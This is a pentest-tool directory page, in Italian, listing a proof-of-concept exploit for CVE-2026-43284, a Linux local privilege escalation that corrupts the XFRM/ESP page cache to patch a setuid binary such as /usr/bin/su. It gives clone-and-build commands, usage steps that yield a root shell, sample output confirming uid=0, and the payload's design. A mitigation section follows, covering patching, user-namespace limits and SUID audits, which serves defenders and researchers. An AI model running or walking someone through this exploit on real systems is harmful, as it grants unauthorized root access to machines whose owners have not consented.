Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-43284-DirtyFrag-PoC — Proof-of-concept per CVE-2026-43284 — primitiva di scrittura di 4 byte nella page-cache XFRM/ESP per patchare un binario setuid (x86_64, user namespace). Include preflight del kernel e scansione SUID. | Kitploit
Strumenti/GitHubGitHub/jayhutajulu1/cve-2026-43284-dirtyfrag-poc
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneBinary Exploitation
GitHubjayhutajulu1/cve-2026-43284-dirtyfrag-poc

CVE-2026-43284-DirtyFrag-PoC

Proof-of-concept per CVE-2026-43284 — primitiva di scrittura di 4 byte nella page-cache XFRM/ESP per patchare un binario setuid (x86_64, user namespace). Include preflight del kernel e scansione SUID.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
1112 mesi faNon ancora revisionato

CVE-2026-43284 — XFRM/ESP da 4 byte

CVE Platform Type Status

Proof-of-concept di escalation dei privilegi locale tramite corruzione della page-cache XFRM/ESP
Primitiva di scrittura a 4 byte · 48 iterazioni · sovrascrittura ELF da 192 byte · utente non privilegiato + netns


Prova di concetto

Controlli preliminari e fasi dell'exploit su WSL2 Ubuntu 24.04 Shell di root riuscita con verifica di uid=0

Sinistra: preflight del kernel, scansione setuid e catena dell'exploit  ·  Destra: shell di root avviata — id / whoami confermano uid=0(root)
Testato su WSL2 · Ubuntu 24.04.1 LTS · kernel 6.6.87.2-microsoft-standard-WSL2


  ╔═══════════════════════════════════════╗
  ║  SLEY - CVE-2026-43284 dirtyfrag PoC  ║
  ╚═══════════════════════════════════════╝

Disclaimer: Solo per ricerca sulla sicurezza autorizzata, formazione e test su sistemi di tua proprietà o per i quali hai esplicito permesso di testare. Gli autori non sono responsabili di un uso improprio.


Panoramica

CVECVE-2026-43284
TipoEscalation dei privilegi locale (LPE)
VettoreCorruzione della page-cache XFRM / ESP-UDP (UDP_ENCAP_ESPINUDP)
Primitiva4 byte per iterazione (ESN seq_hi)
PayloadELF x86_64 da 192 byte (setuid(0) + setgid(0) + execve("/bin/sh"))
Target predefinito/usr/bin/su
Architetturasolo x86_64
Privilegi richiestiUtente non privilegiato (usa namespace utente e di rete)

Funziona anche quando algif_aead è in blacklist: l'exploit usa direttamente il percorso del codice XFRM/ESP del kernel.


Funzionalità

Controlli preliminari integrati prima dello sfruttamento:

  1. Configurazione del kernel — verifica CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP
    (legge /boot/config-*, /lib/modules/*/config o /proc/config.gz su WSL2)
  2. Scansione setuid — elenca i binari SUID sul sistema (find / -perm -4000)
  3. Exploit — modifica la page cache, avvia una shell di root via PTY, ripristina il target all'uscita

Requisiti

Opzioni del kernel

CONFIG_USER_NS=y
CONFIG_XFRM=y
CONFIG_INET_ESP=m   # or =y

Verifica rapida:

# bare metal / VM
grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS=' /boot/config-$(uname -r)

# WSL2
zcat /proc/config.gz | grep -E 'CONFIG_XFRM=|CONFIG_INET_ESP=|CONFIG_USER_NS='

Altro

  • Kernel Linux vulnerabile a CVE-2026-43284 (vedi Patch status)
  • gcc, libc, libutil (per forkpty)
  • Binario setuid di destinazione leggibile (predefinito: /usr/bin/su)

Compilazione

git clone https://github.com/jayhutajulu1/CVE-2026-43284.git
cd CVE-2026-43284
make

Oppure manualmente:

gcc -O0 -Wall -o sley-dirtyfrag sley-dirtyfrag.c -lutil

-O0 è intenzionale: l'ottimizzazione può rompere il comportamento di splice/UDP sensibile ai tempi.


Utilizzo

1. Conferma di non essere privilegiato

id
# uid=1000(youruser) gid=1000(youruser) groups=...

2. Esegui l'exploit

./sley-dirtyfrag                  # default target: /usr/bin/su
./sley-dirtyfrag /usr/bin/passwd  # custom setuid binary

Lo strumento esegue tre fasi automatiche:

FaseCosa fa
1Preflight della configurazione del kernel (CONFIG_USER_NS, CONFIG_XFRM, CONFIG_INET_ESP)
2Scansione dei binari setuid su tutto il sistema; evidenzia il target predefinito
3Backup del target → patch della page cache (48 scritture da 4 byte) → avvio della shell di root

3. Verifica l'accesso root

All'interno della shell avviata:

id
# uid=0(root) gid=0(root) groups=0(root)

whoami
# root

4. Esci per ripristinare

Premi Ctrl+D o digita exit. Il PoC elimina la page cache così il binario originale su disco viene ripristinato automaticamente.

Se il ripristino fallisce:

echo 3 | sudo tee /proc/sys/vm/drop_caches

Riferimento comandi

ComandoDescrizione
./sley-dirtyfragSfrutta /usr/bin/su (predefinito)
./sley-dirtyfrag /path/to/suidSfrutta un binario setuid personalizzato
makeCompila sley-dirtyfrag
make cleanRimuove il binario

Esempio di output

┌─[ phase 1] kernel config preflight
  → /proc/config.gz
  [+] CONFIG_USER_NS        = y  (required =y)
  [+] CONFIG_XFRM           = y  (required =y)
  [+] CONFIG_INET_ESP       = m  (required =m or =y)
  kernel options OK.

┌─[ phase 2] setuid binary scan
  10 /usr/bin/su  ← target
  found 14 setuid binaries.

┌─[ phase 3] exploit
  [*] unshare userns+netns, register 48 XFRM SA, splice→UDP 4500...
  [+] corrupt               all iterations done
  [+] verify                ELF patch detected

  ╔══════════════════════════════════════╗
  ║  root shell — exit to restore        ║
  ╚══════════════════════════════════════╝

Mitigazione

Applica la patch del kernel (consigliato)

Corretto inf4c50a4034e6 (mainline, 8 maggio 2026)
Introdottocac2661c53f3 (gennaio 2017)

Azione: aggiorna a un kernel della distribuzione che include la correzione, oppure compila da un albero mainline con patch.

# check your running kernel
uname -r

# verify fix is present (example — adjust for your distro's package naming)
# apt update && apt install --only-upgrade linux-image-$(uname -r)

Opzioni di hardening (difesa in profondità)

MisuraEffetto
Patch / aggiornamento del kernelElimina il bug di scrittura sottostante nella page cache
Limita i namespace utenteBlocca questo PoC (richiede CONFIG_USER_NS)
Rimuovi i binari setuid non necessariRiduce i target utilizzabili (chmod u-s o disinstallazione)
Lockdown / LSM (SELinux, AppArmor)Può limitare l'impatto post-sfruttamento a seconda della policy
Monitora XFRM + UDP/4500Rileva registrazioni SA anomale e traffico ESP-in-UDP da namespace non privilegiati

Limita i namespace utente non privilegiati

Questo exploit dipende da unshare(CLONE_NEWUSER | CLONE_NEWNET) senza root.

# runtime (may not exist on all kernels)
sysctl kernel.unprivileged_userns_clone=0

# or disable at build time
# CONFIG_USER_NS is not set

Nota: disabilitare i namespace utente blocca questo PoC ma non necessariamente CVE-2026-43500 (variante rxrpc per sistemi senza userns).

Controlla i binari setuid

find / -perm -4000 -type f 2>/dev/null
# remove or harden binaries you do not need

Elimina le cache dopo un sospetto compromesso

Se ritieni che un binario setuid sia stato modificato in memoria:

echo 3 | sudo tee /proc/sys/vm/drop_caches
# re-verify binary integrity from package manager / known-good hash

Come funziona

Scarica lo strumento